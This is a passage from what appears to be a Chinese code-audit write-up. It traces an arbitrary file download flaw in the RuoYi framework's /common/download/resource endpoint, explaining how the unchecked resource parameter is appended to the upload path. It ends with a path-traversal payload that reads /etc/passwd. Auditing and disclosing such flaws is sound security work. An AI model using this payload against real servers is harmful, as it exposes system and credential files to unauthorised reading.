// 本地资源路径 String localPath = Global.getProfile(); //最终localPath = D:/ruoyi/uploadPath // 数据库资源地址 String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); 把上面这句拆开: Constants.RESOURCE_PREFIX //这个东西是写死了的,是常量/profile StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); //StringUtils.substringAfter() 方法为取得指定字符串后的字符串; resource是请求中接收参数的字段。 所以这句话的意思是:取得请求中resource后面传过来的常量/profile后面的字符串 例子: 比如请求是:http://127.0.0.1/?resource=/profile/a/b/c.jsp 那经过“StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX)”处理后就变成了/a/b/c.jsp 所以这里要下载的文件地址为downloadPath = localPath(D:/ruoyi/uploadPath) + “/?resource=/profile后面传入的字符串”
第③点如下图所示:
④、通过第96行,知道接口路径为 /common/download/resource ,仅接受GET请 求。
⑤、通过第97行, String resource 知道接收参数值的为 resource 。
汇总下信息。首先应该知道,处理整个文件流程,是没有任何防护的。根据接口路径和接收参数字段组合为 /common/download/resource?resource= 。根据 StringUtils.substringAfter() 方法为取得指定字符串后的字符串,其中指定的字符串为 /profile 。也就是取得 /profile 之后的字符串。那么最终,漏洞Payload为 http://127.0.0.1/common/download/resource?resource=/profile/../../../../etc/passwd 。具体几个 ../ 要看实际设置目录的深度。